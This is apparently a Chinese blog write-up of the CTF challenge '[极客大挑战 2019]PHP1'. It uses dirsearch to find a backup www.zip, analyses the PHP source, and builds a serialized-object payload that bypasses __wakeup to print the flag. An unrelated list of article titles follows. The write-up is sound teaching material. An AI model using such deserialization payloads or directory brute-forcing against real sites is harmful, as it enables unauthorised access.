1. 进去发现网页做的挺有意思的,是一张用毛线球逗猫的网页,尝试老办法单击右键查看源代码,无果(因为没有),于是仔细观察网页,发现关键信息---备份网页

2. 发现文件备份,所以准备把网站的目录给爆破出来,使用dirsearch

3. dirsearch的下载、安装以及使用

下载地址

https://github.com/maurosoria/dirsearch

点击Download here

之后将下载的文件压缩放在自己想放在的地方(为了方便,我选择把它放在桌面上)

注意,安装的python得是3.7及其以上版本(没有python的先安装python)

之后在当前窗口(你的dirsearch文件)直接输入cmd

接着使用命令安装dirsearch

pip3 install -r requirements.txt

可能会出现以下错误提示

上面指出应该给pip3升级,所以我们根据提示给pip3进行升级

python -m pip install --upgrade pip

pip3更新成功,出现successful字样,之后继续进行dirsearch安装代码

pip3 install -r requirements.txt

可能还会出现

解决办法,关闭代理服务器,然后再执行dirsearch安装命令

pip3 install -r requirements.txt

可喜可贺,dirsearch安装成功

4. 使用爆破工具dirsearch下载网页目录得到正确的压缩安装包,找到代码进行分析

python dirsearch.py -u (自己需要爆破的网址) -e (语言)

5. 出现一大堆各种各样文件,就算知道常用压缩文件名以及压缩文件名后缀也无法快速找出,这时,不妨来设计一段python代码,让符合常用压缩文件名和文件名后缀的文件在网址中遍历,最终只会得到一个可以访问网址的文件

注意,由于代码判断需要requests库,所以要进行安装

pip install requests

发现只有www.zip进行成功访问

6. 在原网址后面加上www.zip下载压缩包

对压缩包进行解压

7. 发现一个flag.php文件,打开

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

输入flag,发现是错误的

8. 打开index.php文件看看

发现一段php代码

里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化

8. 接着打开class.php文件

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}

如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求

9. 构造序列化

在代码后面加上


<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));?>

10. 通过warmserver服务器运行得(可以在PHP菜鸟教程了解)

我将序列化后的文件class.php放在warmsecer文件下新建的class文件下,在浏览器上访问得

11. 又因为在反序列化的时候,要执行_wakeup()魔方函数,导致username=guest

function __wakeup(){$this->username = 'guest';}

所以我们要要绕过这个函数,则让name大于2即可

于是得

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

12. 又因为,username为private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

所以得

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

13. 最后又发现index.php中get  select

所以在网址后加上

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

就可以得到flag

[极客大挑战 2019]PHP1相关推荐

  1. BUUCTF-web [极客大挑战 2019]PHP1 之 反序列化漏洞

    PHP反序列化漏洞 一,什么是序列与反序列 序列就是把数据转成可逆的数据结构,目的是方便数据的储存和传输,反序列就是将数据逆转成原来的状态,序列就是拆数据,使得传输或储存更容易的过程,反序列就是重新拼 ...

  2. BUUCTF-web [极客大挑战 2019]PHP1

    显示有个备份网址 使用了dirbuster工具爆破,这个工具自带字典,以及可以直接爆破.     dirb.dirsearch也用了.     找到了www.zip压缩包.     随后开始今天的踩坑 ...

  3. [极客大挑战 2019]PHP1-原创超详细

    [极客大挑战 2019]PHP1 提示:有一个良好的备份网站的习惯 寻找一个备份文件字典,我在github上找的: scopion/dic: 渗透字典,框架信息泄露,备份文件泄露,配置文件泄露.字典 ...

  4. [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)

    [BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...

  5. BUUCTF Web [极客大挑战 2019]Havefun

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  6. BUUCTF Web 极客大挑战 2019 EasySQL

    BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...

  7. [极客大挑战 2019]FinalSQL

    [极客大挑战 2019]FinalSQL 依次点击5个页面 到最后一个页面发现提示尝试第6个页面,观察到url中的id,输入6得到 有参数,尝试单引号 提示error 那么应该存在sql注入,尝试永真 ...

  8. BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http

    目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...

  9. BUUCTF——web([GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http)

    BUUCTF-web [GXYCTF2019]Ping Ping Ping 做题思路 [极客大挑战 2019]Knife 做题思路 [极客大挑战 2019]Http 做题思路 [GXYCTF2019] ...

最新文章

  1. MySQL 视图技术
  2. 第十五周程序阅读-范型程序设计(4)
  3. NIO详解(三):IO多路复用模型之select、poll、epoll
  4. Vue 单文件组件||Vue 单文件组件的基本用法||webpack 中配置 vue 组件的加载器|| 在 webpack 项目中使用 vue
  5. C语言实现文件读取矩阵乘法
  6. CF-1238E. Keyboard Purchase (状压dp)
  7. 设有n个正整数,将它们排成一排,组成一个最大的多位整数
  8. 计算机硬件相关名词,计算机硬件基础名词解释
  9. 计算机动画分为关键帧动画和,一个最简单的动画最少有几个关键帧
  10. 信息学奥赛一本通C++语言——1063:最大跨度值
  11. 一文看懂JUC之AQS机制
  12. python自学网站-python自学网站
  13. Egret入门学习日记 --- 第十七篇(书中 7.4~8.2节 内容)
  14. Installing third-party firmware on x3-55 letv (by quqi99)
  15. switchHosts 介绍
  16. mysql 面试题 总结
  17. 惠普2t服务器硬盘,HP DL388 Gen8系列服务器硬盘超过2T的分区方法
  18. 零遁NAS伴侣实现WOL远程唤醒
  19. LaTeX如何输出反斜杠 \
  20. redmi k60参数 红米k60怎么样 redmi k60优缺点

热门文章

  1. 基于tkinter+python36制作得视频播放器,非会员也可播放
  2. 用Python绘制多彩的斐波那契螺旋线(黄金螺旋线)
  3. 软件测试-手机商城,百度MTC:一站式移动App测试解决方案之应用商店
  4. 【软件工程】软件的本质
  5. Blender图解教程:整体移动/旋转带IK控制器的角色并保持其姿势不变的正确方法
  6. Linux系统ubuntu杀死挖矿程序(一路赚钱)
  7. 数据库一对一 一对多 多对多关系
  8. 【前端】JavaScript 正则
  9. sqlalchemy 11 Alembic
  10. 如何快速的将视频转成音频